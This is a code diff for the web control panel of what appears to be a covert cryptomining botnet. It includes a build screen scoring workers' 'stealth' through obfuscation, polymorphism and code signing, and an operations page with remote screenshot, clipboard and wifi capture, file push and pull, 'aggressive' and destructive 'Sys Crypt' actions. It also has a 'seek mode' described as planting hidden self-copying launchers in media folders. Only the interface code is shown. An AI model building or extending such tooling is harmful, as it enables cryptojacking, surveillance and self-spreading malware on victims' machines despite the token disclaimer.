+} + +.syscheck-errors { + margin-top: 0.75rem; + color: #f87171; + font-size: 0.78rem; +} diff --git a/server/web/src/components/Fleet/FullSysCheckPanel.tsx b/server/web/src/components/Fleet/FullSysCheckPanel.tsx new file mode 100644 index 0000000..6a3fd31 --- /dev/null +++ b/server/web/src/components/Fleet/FullSysCheckPanel.tsx @@ -0,0 +1,247 @@ +import type { ReactNode } from 'react'; +import type { FullSysCheckReport } from '../../types/syscheck'; +import './FullSysCheckPanel.css'; + +function Row({ label, value }: { label: string; value: ReactNode }) { + if (value === undefined || value === null || value === '') return null; + return ( +
+ {label} + {value} +
+ ); +} + +function Section({ title, children }: { title: string; children: ReactNode }) { + return ( +
+

{title}

+
{children}
+
+ ); +} + +function BoolBadge({ v, yes = 'YES', no = 'NO' }: { v?: boolean; yes?: string; no?: string }) { + if (v === undefined) return ; + return {v ? yes : no}; +} + +export default function FullSysCheckPanel({ + report, + agentName, + onClose, +}: { + report: FullSysCheckReport; + agentName: string; + onClose?: () => void; +}) { + const geo = report.network?.geo; + const geoLine = + geo && + [geo.city, geo.region, geo.country].filter(Boolean).join(', ') + + (geo.isp ? ` · ${geo.isp}` : '') + + (geo.lat != null && geo.lon != null ? ` (${geo.lat.toFixed(2)}, ${geo.lon.toFixed(2)})` : ''); + + return ( +
+
+
+

Full System Check

+

+ {agentName} · {report.generated_at} · {report.platform}/{report.arch} +

+
+ {onClose && ( + + )} +
+ +
+
+ + + + + + + + + {report.neighbors?.arp_hosts && report.neighbors.arp_hosts.length > 0 && ( +
{report.neighbors.arp_hosts.join('\n')}
+ )} + {report.neighbors?.subnet_scan && ( + <> +
Subnet scan
+
{report.neighbors.subnet_scan}
+ + )} +
+ +
+ {report.security.posture_score} / 100 + ) : undefined + } + /> + } /> + } /> + + /{' '} + /{' '} + + + } + /> + + } /> + } /> + + + } /> +
+ +
+ + + + + {report.hardware?.cpus?.map((c, i) => ( + + ))} + {report.hardware?.gpus?.map((g, i) => ( + + ))} + {report.hardware?.disks?.map((d, i) => ( + + ))} +
+ +
+ + + + + + + + +
+ +
+ + } /> + + + +
+ +
+ + {report.listen_ports?.ports && report.listen_ports.ports.length > 0 && ( +
+ + + + + + + + + + {report.listen_ports.ports.slice(0, 40).map((p, i) => ( + + + + + + ))} + +
PortBindProcess
{p.port}{p.addr}{p.process || p.pid}
+
+ )} +
+ +
+ {report.network?.interfaces?.map((iface, i) => ( +
+ {iface.name} {iface.mac && {iface.mac}} + {iface.ipv4?.map((ip) => ( +
+ {ip} +
+ ))} +
+ ))} + {report.network?.routes_summary && ( + <> +
Routes
+
{report.network.routes_summary}
+ + )} +
+
+ + {(report.raw_sysinfo || report.raw_ipconfig || report.raw_netstat) && ( +
+ Raw dumps (sysinfo / ipconfig / netstat) + {report.raw_sysinfo && ( + <> +
systeminfo / uname
+
{report.raw_sysinfo}
+ + )} + {report.raw_ipconfig && ( + <> +
ipconfig / ip addr
+
{report.raw_ipconfig}
+ + )} + {report.raw_netstat && ( + <> +
netstat
+
{report.raw_netstat}
+ + )} +
+ )} + + {report.probe_errors && report.probe_errors.length > 0 && ( +
+ {report.probe_errors.map((e, i) => ( +
{e}
+ ))} +
+ )} +
+ ); +} diff --git a/server/web/src/components/Forge/ForgeDispenseReveal.css b/server/web/src/components/Forge/ForgeDispenseReveal.css new file mode 100644 index 0000000..d0bca3c --- /dev/null +++ b/server/web/src/components/Forge/ForgeDispenseReveal.css @@ -0,0 +1,221 @@ +.forge-dispense-backdrop { + position: fixed; + inset: 0; + z-index: 1200; + display: flex; + align-items: center; + justify-content: center; + background: rgba(4, 8, 18, 0.82); + backdrop-filter: blur(8px); + animation: forge-dispense-fade 0.4s ease; +} + +.forge-dispense-panel { + position: relative; + max-width: 420px; + width: 92%; + padding: 2rem 1.75rem 1.5rem; + border-radius: 16px; + border: 1px solid rgba(120, 200, 255, 0.35); + background: linear-gradient(165deg, rgba(12, 22, 42, 0.97), rgba(6, 12, 28, 0.98)); + box-shadow: + 0 0 60px rgba(80, 160, 255, 0.15), + inset 0 1px 0 rgba(255, 255, 255, 0.06); + text-align: center; + animation: forge-dispense-rise 0.55s cubic-bezier(0.22, 1, 0.36, 1); +} + +.forge-dispense-sigil { + width: 72px; + height: 72px; + margin: 0 auto 1rem; + border-radius: 50%; + background: + radial-gradient(circle at 50% 50%, rgba(100, 200, 255, 0.25), transparent 55%), + conic-gradient( + from 0deg, + rgba(100, 180, 255, 0.5), + rgba(180, 120, 255, 0.4), + rgba(100, 200, 255, 0.5) + ); + mask: radial-gradient(circle, transparent 38%, black 39%); + animation: forge-dispense-spin 12s linear infinite; +} + +.forge-dispense-title { + margin: 0 0 0.35rem; + font-size: 1.5rem; + letter-spacing: 0.12em; + text-transform: uppercase; + color: #b8e4ff; +} + +.forge-dispense-sub { + margin: 0 0 1.25rem; + font-size: 0.9rem; + color: rgba(200, 220, 255, 0.75); + line-height: 1.45; +} + +.forge-dispense-shield { + display: flex; + align-items: center; + justify-content: center; + gap: 1rem; + margin-bottom: 1.25rem; +} + +.forge-dispense-shield-ring { + --shield-pct: 50%; + width: 88px; + height: 88px; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + background: conic-gradient( + #3d9eff calc(var(--shield-pct) * 1%), + rgba(60, 80, 120, 0.35) 0 + ); + position: relative; +} + +.forge-dispense-shield-ring::before { + content: ''; + position: absolute; + inset: 6px; + border-radius: 50%; + background: rgba(8, 14, 28, 0.95); +} + +.forge-dispense-shield-value { + position: relative; + z-index: 1; + font-size: 1.75rem; + font-weight: 700; + color: #7ec8ff; +} + +.forge-dispense-shield-label { + text-align: left; + display: flex; + flex-direction: column; + gap: 0.2rem; + font-size: 0.85rem; + color: rgba(180, 210, 255, 0.9); +} + +.forge-dispense-shield-hint { + font-size: 0.72rem; + opacity: 0.65; +} + +.forge-dispense-dna { + margin-bottom: 1rem; + padding: 0.75rem; + border-radius: 10px; + background: rgba(0, 0, 0, 0.25); + border: 1px solid rgba(100, 160, 255, 0.2); +} + +.forge-dispense-dna-label { + display: block; + font-size: 0.7rem; + letter-spacing: 0.15em; + text-transform: uppercase; + color: rgba(150, 200, 255, 0.7); + margin-bottom: 0.35rem; +} + +.forge-dispense-dna-hash { + font-size: 0.95rem; + color: #9ee0ff; + letter-spacing: 0.08em; +} + +.forge-dispense-dna-bars { + display: flex; + align-items: flex-end; + justify-content: center; + gap: 3px; + height: 48px; + margin-top: 0.6rem; +} + +.forge-dispense-dna-bar { + width: 6px; + min-height: 4px; + border-radius: 2px 2px 0 0; + background: linear-gradient(180deg, #6eb8ff, #3a6a9e); + opacity: 0.85; + animation: forge-dispense-bar 0.6s ease backwards; +} + +.forge-dispense-dna-bar:nth-child(odd) { + animation-delay: 0.05s; +} + +.forge-dispense-layers { + list-style: none; + margin: 0 0 1.25rem; + padding: 0; + display: flex; + flex-wrap: wrap; + gap: 0.4rem; + justify-content: center; +} + +.forge-dispense-layers li { + font-size: 0.72rem; + padding: 0.25rem 0.55rem; + border-radius: 999px; + border: 1px solid rgba(80, 120, 180, 0.35); + color: rgba(140, 160, 200, 0.7); +} + +.forge-dispense-layers li.on { + border-color: rgba(100, 200, 255, 0.55); + color: #a8dcff; + box-shadow: 0 0 12px rgba(80, 160, 255, 0.2); +} + +.forge-dispense-actions { + display: flex; + flex-direction: column; + gap: 0.5rem; +} + +@keyframes forge-dispense-fade { + from { + opacity: 0; + } + to { + opacity: 1; + } +} + +@keyframes forge-dispense-rise { + from { + opacity: 0; + transform: translateY(24px) scale(0.96); + } + to { + opacity: 1; + transform: translateY(0) scale(1); + } +} + +@keyframes forge-dispense-spin { + to { + transform: rotate(360deg); + } +} + +@keyframes forge-dispense-bar { + from { + transform: scaleY(0); + } + to { + transform: scaleY(1); + } +} diff --git a/server/web/src/components/Forge/ForgeDispenseReveal.tsx b/server/web/src/components/Forge/ForgeDispenseReveal.tsx new file mode 100644 index 0000000..17fa682 --- /dev/null +++ b/server/web/src/components/Forge/ForgeDispenseReveal.tsx @@ -0,0 +1,91 @@ +import { useEffect } from 'react'; +import type { BuildResponse } from '../../types'; +import { useSound } from '../../context/SoundContext'; +import DownloadButton from '../DownloadButton'; +import './ForgeDispenseReveal.css'; + +interface Props { + result: BuildResponse; + onClose: () => void; +} + +function dnaBars(fingerprint?: string): number[] { + const raw = fingerprint || 'aetherforge'; + const bars: number[] = []; + for (let i = 0; i < 24; i++) { + const c = raw.charCodeAt(i % raw.length); + bars.push(12 + ((c * (i + 3)) % 88)); + } + return bars; +} + +export default function ForgeDispenseReveal({ result, onClose }: Props) { + const { play } = useSound(); + const score = result.stealth_score ?? 0; + const bars = dnaBars(result.binary_fingerprint); + + useEffect(() => { + play('success'); + }, [play]); + + return ( +
+
+
+

+ Dispensed +

+

+ {result.file_name || 'Your worker'} is ready — each forge carries a unique binary signature. +

+ +
+
+ {score} +
+
+ Stealth index + Polymorph · Garble · Sigil · Sign +
+
+ + {result.binary_fingerprint && ( +
+ Binary DNA + {result.binary_fingerprint} +
+ {bars.map((h, i) => ( + + ))} +
+
+ )} + +
    +
  • Garble obfuscation
  • +
  • Sigil scramble
  • +
  • Authenticode sign
  • +
  • Polymorph weave
  • +
+ +
+ {result.download_url && result.file_name && ( + + ↓ Take the forge + + )} + +
+
+
+ ); +} diff --git a/server/web/src/components/Layout/Layout.css b/server/web/src/components/Layout/Layout.css index ab5cd0d..238cc4a 100644 --- a/server/web/src/components/Layout/Layout.css +++ b/server/web/src/components/Layout/Layout.css @@ -442,39 +442,4 @@ z-index: 1; } -@media (max-width: 768px) { - .sidebar { - width: 72px; - } - - .logo-text-block, - .nav-label, - .fleet-readout, - .sidebar-sig, - .matrix-rain-wrap { - display: none; - } - - .sidebar-header { - padding: 1rem 0.5rem; - justify-content: center; - } - - .logo { - justify-content: center; - } - - .nav-item { - justify-content: center; - padding: 0.85rem; - } - - .main-with-status { - margin-left: 72px; - } - - .main-content { - margin-left: 0; - padding: 1rem; - } -} +/* Mobile layout: bottom nav + top bar — see MobileNav.css and layout--mobile */ diff --git a/server/web/src/components/Layout/Layout.tsx b/server/web/src/components/Layout/Layout.tsx index baf251a..d96531b 100644 --- a/server/web/src/components/Layout/Layout.tsx +++ b/server/web/src/components/Layout/Layout.tsx @@ -3,10 +3,18 @@ import { NavLink, useLocation } from 'react-router-dom'; import AmbientBackground from '../Ambient/AmbientBackground'; import SystemStatusBar from '../Visual/SystemStatusBar'; import { useWebSocket } from '../../hooks/useWebSocket'; +import { useIsMobileLayout } from '../../hooks/useMediaQuery'; import MatrixRain from './MatrixRain'; import afLogo from '../../assets/af-logo.png'; import CursorFire from '../Visual/CursorFire'; +import SacredGeometryLayer from '../Visual/sacredGeometry/SacredGeometryLayer'; +import { SacredMotif } from '../Visual/sacredGeometry/motifs'; +import SetupBanner from '../SetupBanner'; +import { getSetupStatus } from '../../help/setupStatus'; +import { api } from '../../api/client'; +import type { ServerConfig } from '../../types'; import './Layout.css'; +import './MobileNav.css'; interface LayoutProps { children: ReactNode; @@ -20,8 +28,14 @@ const NAV = [ { to: '/builds', label: 'Builds', icon: 'builds' }, { to: '/guide', label: 'Field Guide', icon: 'guide' }, { to: '/settings', label: 'Calibrate', icon: 'gear' }, + { to: '/pathtracer', label: 'Path Tracer', icon: 'trace' }, ] as const; +/** Primary tabs on iPhone bottom bar */ +const MOBILE_PRIMARY = NAV.slice(0, 4); +/** Builds, Guide, Calibrate, Path Tracer — “More” sheet */ +const MOBILE_MORE = NAV.slice(4); + function NavIcon({ type }: { type: string }) { switch (type) { case 'deck': @@ -71,6 +85,16 @@ function NavIcon({ type }: { type: string }) { ); + case 'trace': + return ( + + + + + + + + ); default: return ( @@ -135,14 +159,59 @@ function FleetReadout() { ); } +function MobileTopStats() { + const { agents } = useWebSocket(); + const online = agents.filter((a) => a.status === 'online').length; + const total = agents.length; + const hr = agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0); + return ( +
+ + {online}/{total} online + + {hr > 0 ? formatHashrate(hr) : 'IDLE'} +
+ ); +} + export default function Layout({ children }: LayoutProps) { const location = useLocation(); + const isMobile = useIsMobileLayout(); + const [serverConfig, setServerConfig] = useState(null); + const [moreOpen, setMoreOpen] = useState(false); + + useEffect(() => { + api.getConfig().then(setServerConfig).catch(() => {}); + }, []); + + useEffect(() => { + setMoreOpen(false); + }, [location.pathname]); + + useEffect(() => { + if (!moreOpen) return; + const prev = document.body.style.overflow; + document.body.style.overflow = 'hidden'; + return () => { + document.body.style.overflow = prev; + }; + }, [moreOpen]); + + const setupStatus = getSetupStatus(serverConfig); + const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to); + const mobileShortLabel: Record = { + '/dashboard': 'Deck', + '/agents': 'Fleet', + '/crucible': 'Ops', + '/forge': 'Forge', + }; return ( -
- +
+ {!isMobile && } -
@@ -1428,7 +1431,7 @@ export default function BuilderPage() { { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }} - onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 1024); }} /> + onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 512); }} />
@@ -1642,9 +1645,35 @@ export default function BuilderPage() { + +
+ {form.run_as === 'host_binary' && ( +
+ + + +
+ )}
+
+ + + +
@@ -2326,7 +2365,13 @@ export default function BuilderPage() { )} {lastBuild.fusion_enabled && FUSION} {lastBuild.obfuscated && GARBLED} + {lastBuild.sigil_scramble && SIGIL} {lastBuild.signed && SIGNED} + {lastBuild.stealth_score != null && lastBuild.stealth_score > 0 && ( + + {lastBuild.stealth_score} + + )}
@@ -2379,6 +2424,9 @@ export default function BuilderPage() {
)}
+ {dispenseReveal?.success && ( + setDispenseReveal(null)} /> + )}
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
diff --git a/server/web/src/pages/CruciblePage.css b/server/web/src/pages/CruciblePage.css index 63bec67..ad75e3a 100644 --- a/server/web/src/pages/CruciblePage.css +++ b/server/web/src/pages/CruciblePage.css @@ -326,6 +326,32 @@ .crucible-row { grid-template-columns: 1fr; } } +@media (max-width: 768px) { + .crucible-page { + padding: 0; + } + + .crucible-actions-grid, + .remote-actions-grid { + grid-template-columns: repeat(2, 1fr) !important; + gap: 0.5rem; + } + + .crucible-actions-grid .btn, + .remote-actions-grid .btn { + font-size: 0.72rem; + padding: 0.5rem 0.35rem; + white-space: normal; + text-align: center; + line-height: 1.2; + } + + .crucible-terminal-wrap { + min-height: 120px; + max-height: 40vh; + } +} + /* ── Groups ──────────────────────────────────────────────────────────── */ .crucible-groups-card, @@ -390,62 +416,185 @@ /* ── Actions ─────────────────────────────────────────────────────────── */ .crucible-ops { - display: flex; - flex-direction: column; - gap: 0.75rem; + display: grid; + grid-template-columns: repeat(auto-fill, minmax(240px, 1fr)); + gap: 0.55rem; } +/* ── Op group card ───────────────────────────────────────────────────── */ + .crucible-op-group { display: flex; - align-items: center; - gap: 0.5rem; flex-wrap: wrap; + gap: 0.35rem; + align-items: flex-start; + background: rgba(0, 0, 0, 0.3); + border: 1px solid rgba(255, 255, 255, 0.06); + border-radius: 9px; + padding: 0.6rem 0.75rem; } +/* Label becomes a full-width header row inside the card */ .cop-label { + width: 100%; font-family: var(--font-tech); - font-size: 0.68rem; - letter-spacing: 0.1em; + font-size: 0.62rem; + letter-spacing: 0.16em; + text-transform: uppercase; color: var(--text-muted); - min-width: 52px; + padding-bottom: 0.38rem; + margin-bottom: 0.05rem; + border-bottom: 1px solid rgba(255, 255, 255, 0.06); + flex-shrink: 0; } +/* ── Group colour themes ─────────────────────────────────────────────── */ + +.cop-recon { border-color: rgba(0, 245, 255, 0.13); } +.cop-recon .cop-label { color: rgba(0, 245, 255, 0.65); border-bottom-color: rgba(0, 245, 255, 0.1); } + +.cop-agent { border-color: rgba(178, 75, 243, 0.18); } +.cop-agent .cop-label { color: rgba(178, 75, 243, 0.75); border-bottom-color: rgba(178, 75, 243, 0.13); } + +.cop-sys { border-color: rgba(255, 176, 32, 0.18); } +.cop-sys .cop-label { color: rgba(255, 176, 32, 0.75); border-bottom-color: rgba(255, 176, 32, 0.13); } + +.cop-agg { border-color: rgba(255, 100, 0, 0.22); background: rgba(30, 8, 0, 0.25); } +.cop-agg .cop-label { color: rgba(255, 130, 0, 0.85); border-bottom-color: rgba(255, 100, 0, 0.16); } + +.cop-ssh { border-color: rgba(57, 255, 20, 0.13); } +.cop-ssh .cop-label { color: rgba(57, 255, 20, 0.65); border-bottom-color: rgba(57, 255, 20, 0.1); } + +.cop-mining { border-color: rgba(255, 220, 50, 0.13); } +.cop-mining .cop-label { color: rgba(255, 210, 40, 0.65); border-bottom-color: rgba(255, 210, 40, 0.1); } + +.cop-fileops { border-color: rgba(0, 212, 170, 0.16); } +.cop-fileops .cop-label { color: rgba(0, 212, 170, 0.75); border-bottom-color: rgba(0, 212, 170, 0.12); } + +.cop-destructive { + border-color: rgba(255, 50, 50, 0.28); + background: rgba(60, 0, 0, 0.2); +} +.cop-destructive .cop-label { + color: #ff4444; + border-bottom-color: rgba(255, 50, 50, 0.2); +} + +/* Seek + Shell span full width */ +.cop-seek { grid-column: 1 / -1; border-color: rgba(255, 140, 0, 0.22); } +.cop-seek .cop-label { color: rgba(255, 140, 0, 0.85); border-bottom-color: rgba(255, 140, 0, 0.16); } + +.cop-shell { grid-column: 1 / -1; } + +/* ── Op buttons ──────────────────────────────────────────────────────── */ + .crucible-op-btn { - padding: 0.3rem 0.7rem; - font-size: 0.8rem; + padding: 0.3rem 0.72rem; + font-size: 0.78rem; background: rgba(255, 255, 255, 0.04); - border: 1px solid rgba(255, 176, 32, 0.25); + border: 1px solid rgba(255, 176, 32, 0.28); color: var(--neon-amber); - border-radius: 4px; + border-radius: 5px; cursor: pointer; - transition: all 0.15s; + transition: background 0.14s, border-color 0.14s, box-shadow 0.14s, transform 0.1s; font-family: var(--font-tech); + letter-spacing: 0.03em; + white-space: nowrap; } .crucible-op-btn:hover:not(:disabled) { - background: rgba(255, 176, 32, 0.12); + background: rgba(255, 176, 32, 0.11); border-color: var(--neon-amber); + box-shadow: 0 0 9px -2px rgba(255, 176, 32, 0.45); + transform: translateY(-1px); } -.crucible-op-btn:disabled { opacity: 0.35; cursor: not-allowed; } +.crucible-op-btn:active:not(:disabled) { + transform: translateY(0); + box-shadow: none; +} +.crucible-op-btn:disabled { opacity: 0.32; cursor: not-allowed; } + +/* Recon buttons — cyan tint */ +.cop-recon .crucible-op-btn { + border-color: rgba(0, 245, 255, 0.22); + color: rgba(0, 245, 255, 0.85); +} +.cop-recon .crucible-op-btn:hover:not(:disabled) { + background: rgba(0, 245, 255, 0.08); + border-color: var(--neon-cyan); + box-shadow: 0 0 9px -2px rgba(0, 245, 255, 0.4); +} + +/* Agent buttons — purple tint */ +.cop-agent .crucible-op-btn { + border-color: rgba(178, 75, 243, 0.3); + color: rgba(178, 75, 243, 0.9); +} +.cop-agent .crucible-op-btn:hover:not(:disabled) { + background: rgba(178, 75, 243, 0.1); + border-color: #b24bf3; + box-shadow: 0 0 9px -2px rgba(178, 75, 243, 0.45); +} + +/* System buttons — orange tint */ +.cop-sys .crucible-op-btn { + border-color: rgba(255, 176, 32, 0.3); + color: var(--neon-amber); +} + +/* Aggressive buttons — red-orange tint */ +.cop-agg .crucible-op-btn { + border-color: rgba(255, 100, 0, 0.35); + color: #ff8c00; +} +.cop-agg .crucible-op-btn:hover:not(:disabled) { + background: rgba(255, 100, 0, 0.1); + border-color: #ff6600; + box-shadow: 0 0 9px -2px rgba(255, 100, 0, 0.4); +} + +/* SSH buttons — green tint */ +.cop-ssh .crucible-op-btn { + border-color: rgba(57, 255, 20, 0.25); + color: rgba(57, 255, 20, 0.85); +} +.cop-ssh .crucible-op-btn:hover:not(:disabled) { + background: rgba(57, 255, 20, 0.08); + border-color: var(--neon-green); + box-shadow: 0 0 9px -2px rgba(57, 255, 20, 0.4); +} + +/* File ops buttons — teal */ +.cop-fileops .crucible-op-btn { + border-color: rgba(0, 212, 170, 0.28); + color: rgba(0, 212, 170, 0.9); +} +.cop-fileops .crucible-op-btn:hover:not(:disabled) { + background: rgba(0, 212, 170, 0.08); + border-color: #00d4aa; + box-shadow: 0 0 9px -2px rgba(0, 212, 170, 0.4); +} + +/* Keep legacy overrides */ .crucible-op-wake { - color: var(--neon-green); - border-color: rgba(57, 255, 20, 0.3); + color: var(--neon-green) !important; + border-color: rgba(57, 255, 20, 0.3) !important; } .crucible-op-wake:hover:not(:disabled) { - background: rgba(57, 255, 20, 0.1); - border-color: var(--neon-green); + background: rgba(57, 255, 20, 0.1) !important; + border-color: var(--neon-green) !important; } .crucible-op-scan { - color: var(--neon-cyan); - border-color: rgba(0,245,255,0.3); + color: var(--neon-cyan) !important; + border-color: rgba(0,245,255,0.3) !important; font-weight: 700; } .crucible-op-scan:hover:not(:disabled) { - background: rgba(0,245,255,0.08); - border-color: var(--neon-cyan); + background: rgba(0,245,255,0.08) !important; + border-color: var(--neon-cyan) !important; } .crucible-shell-tabs { diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx index 46d8cf3..082775a 100644 --- a/server/web/src/pages/CruciblePage.tsx +++ b/server/web/src/pages/CruciblePage.tsx @@ -10,6 +10,10 @@ import { formatHashrate } from '../help/fleetFilters'; import { primaryGroupForAgent } from '../help/fleetGroups'; import { useFleetGroups } from '../hooks/useFleetGroups'; import { useMatrixRain } from '../context/MatrixRainContext'; +import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush'; +import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck'; +import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel'; +import '../components/Fleet/FullSysCheckPanel.css'; import './CruciblePage.css'; // ── Types ────────────────────────────────────────────────────────────────── @@ -71,7 +75,17 @@ interface RichPostureSummary { services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>; } -type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary; +interface RichScreenshot { + type: 'screenshot'; + b64: string; +} + +interface RichFullSysCheck { + type: 'full_sys_check'; + report: FullSysCheckReport; +} + +type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck; // ── Helpers ──────────────────────────────────────────────────────────────── @@ -312,6 +326,14 @@ export default function CruciblePage() { const [seekWin, setSeekWin] = useState(true); const [seekMac, setSeekMac] = useState(true); + // File ops state + const [uploadPath, setUploadPath] = useState(''); + const [downloadPath, setDownloadPath] = useState(''); + const [uploadFileRef] = useState(() => ({ current: null as HTMLInputElement | null })); + + // Tunnel URL state + const [tunnelURL, setTunnelURL] = useState(''); + // SSH / posture overrides (from on-demand probes) const [sshOverride, setSshOverride] = useState>({}); const [postureOverride, setPostureOverride] = useState>({}); @@ -372,6 +394,12 @@ export default function CruciblePage() { // ── Parse structured JSON for known actions ──────────────────────── let richData: RichTermData | undefined; + + // Screenshot: result is a raw base64 PNG string (no JSON wrapper) + if (r.action === 'screenshot' && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim())) { + richData = { type: 'screenshot', b64: msg.trim() }; + } + const jsonStart = msg.indexOf('{'); if (jsonStart >= 0) { @@ -382,6 +410,8 @@ export default function CruciblePage() { richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length }; } else if (r.action === 'patch_status') { richData = { type: 'patch_status', ...parsed }; + } else if (r.action === 'full_sys_check' && parsed.generated_at) { + richData = { type: 'full_sys_check', report: parsed as FullSysCheckReport }; } else if (r.action === 'posture' && typeof parsed.posture_score === 'number') { richData = { type: 'posture', ...parsed }; // Update badge state @@ -777,10 +807,24 @@ export default function CruciblePage() {
); - const renderRichData = (d: RichTermData) => { + const renderRichData = (d: RichTermData, lineAgentName?: string) => { if (d.type === 'listen_ports') return ; if (d.type === 'patch_status') return ; if (d.type === 'posture') return ; + if (d.type === 'full_sys_check') { + return ; + } + if (d.type === 'screenshot') return ( +
+ screenshot window.open(`data:image/png;base64,${d.b64}`, '_blank')} + title="Click to open full size" + /> +
+ ); return null; }; @@ -1055,7 +1099,7 @@ export default function CruciblePage() {
{/* ── Posture ──────────────────────────────────── */} -
+
Posture & Recon @@ -1135,11 +1209,54 @@ export default function CruciblePage() {
+ {/* ── Sys Crypt ────────────────────────────────── */} +
+ ⚠ Destructive + +
+ {/* ── SUPP Seek Mode ───────────────────────────── */} -
- - ◈ SUPP SEEK MODE - +
+ ◈ SUPP Seek Mode

Recursively seeds every media directory under the given path with silent launcher files. The agent copies itself as a hidden exe (Windows) @@ -1209,8 +1326,353 @@ export default function CruciblePage() {

+ {/* ── Recon ────────────────────────────────────── */} +
+ Recon + + {(['screenshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => ( + + ))} +
+ + {/* ── Agent Control ─────────────────────────────── */} +
+ Agent + + + + +
+ + {/* ── System Power ──────────────────────────────── */} +
+ System + + +
+ + {/* ── Aggressive Ops ───────────────────────────── */} +
+ Aggressive Ops + + + + + + +
+ + {/* ── File Ops ─────────────────────────────────── */} +
+ File Ops +
+ + + {desktopPathHint(selectedAgents.find((a) => selectedIds.has(a.id))?.platform)} + +
+
+ setDownloadPath(e.target.value)} + style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }} + /> + +
+
+ setUploadPath(e.target.value)} + style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }} + /> + +
+
+ {/* ── Shell type ───────────────────────────────── */} -
+
Shell Mode
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => ( @@ -1286,7 +1748,7 @@ export default function CruciblePage() { {line.isCmd ? '▶' : '◀'} {line.richData ? ( - {renderRichData(line.richData)} + {renderRichData(line.richData, line.agentName)} ) : ( {line.text} )} diff --git a/server/web/src/pages/DashboardPage.test.tsx b/server/web/src/pages/DashboardPage.test.tsx index e6faa41..0b076fa 100644 --- a/server/web/src/pages/DashboardPage.test.tsx +++ b/server/web/src/pages/DashboardPage.test.tsx @@ -123,6 +123,14 @@ describe('DashboardPage', () => { expect(await screen.findByText('No miners on the wire')).toBeInTheDocument(); }); + it('shows projection charts and wealth strip with no agents', async () => { + renderDashboard(); + expect(await screen.findByText(/Projection mode/i)).toBeInTheDocument(); + expect(await screen.findByText('Fleet Hashrate Wave')).toBeInTheDocument(); + expect(await screen.findByText('Accept Rate Pulse')).toBeInTheDocument(); + expect(await screen.findByText('Target Fleet Earnings')).toBeInTheDocument(); + }); + it('renders stat labels and top agent card', async () => { const agent = mockAgent({ name: 'Alpha Node', hashrate_15m: 1200 }); useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] })); diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx index bf3b3a8..f93ad2c 100644 --- a/server/web/src/pages/DashboardPage.tsx +++ b/server/web/src/pages/DashboardPage.tsx @@ -1,10 +1,9 @@ import { useWebSocket } from '../hooks/useWebSocket'; import { api } from '../api/client'; -import { useState, useEffect, useMemo, lazy, Suspense, type CSSProperties } from 'react'; +import { useState, useEffect, useMemo, useRef, lazy, Suspense, type CSSProperties } from 'react'; import { Link } from 'react-router-dom'; import type { Share, ServerConfig } from '../types'; -import { getSetupStatus } from '../help/setupStatus'; -import SetupBanner from '../components/SetupBanner'; +import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload'; import GaugeRing from '../components/Charts/GaugeRing'; import NeonCard from '../components/NeonCard/NeonCard'; import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents'; @@ -13,6 +12,7 @@ import { PoolStatusPanel, AIActivityPanel, EarningsEstimator, + WealthEarningsPreview, FleetHealthCard, ContributionBars, UnderperformerList, @@ -27,9 +27,6 @@ const HashrateChart = lazy(() => import('../components/Charts/HashrateChart')); const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap')); const MatrixStreamOverlay = lazy(() => import('../components/Visual/MatrixStreamOverlay')); -function ChartPlaceholder({ height }: { height: number }) { - return
; -} import { DEFAULT_FLEET_FILTERS, filterFleetAgents, @@ -46,8 +43,18 @@ import { groupBySubnet, osArchBreakdown, } from '../help/fleetAnalytics'; +import { + resolveChartSeries, + SAMPLE_ACTIVITY, + SAMPLE_CONTRIBUTION_BARS, + SAMPLE_FLEET_PREVIEW, +} from '../help/chartSampleData'; import './Pages.css'; +function ChartPlaceholder({ height }: { height: number }) { + return
; +} + /** Format GPU KawPoW hashrate (H/s units, displayed as MH/s or GH/s). */ function formatGPUHashrate(hps: number): string { if (!hps || hps <= 0) return '0 H/s'; @@ -58,7 +65,7 @@ function formatGPUHashrate(hps: number): string { } export default function DashboardPage() { - const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket(); + const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity, commandResults } = useWebSocket(); const [shares, setShares] = useState([]); const [restAlerts, setRestAlerts] = useState([]); const [restPools, setRestPools] = useState([]); @@ -68,16 +75,20 @@ export default function DashboardPage() { const [acceptHistory, setAcceptHistory] = useState<{ time: string; value: number }[]>([]); const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]); const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]); + const [gpuHistory, setGpuHistory] = useState<{ time: string; value: number }[]>([]); const [hasBuilds, setHasBuilds] 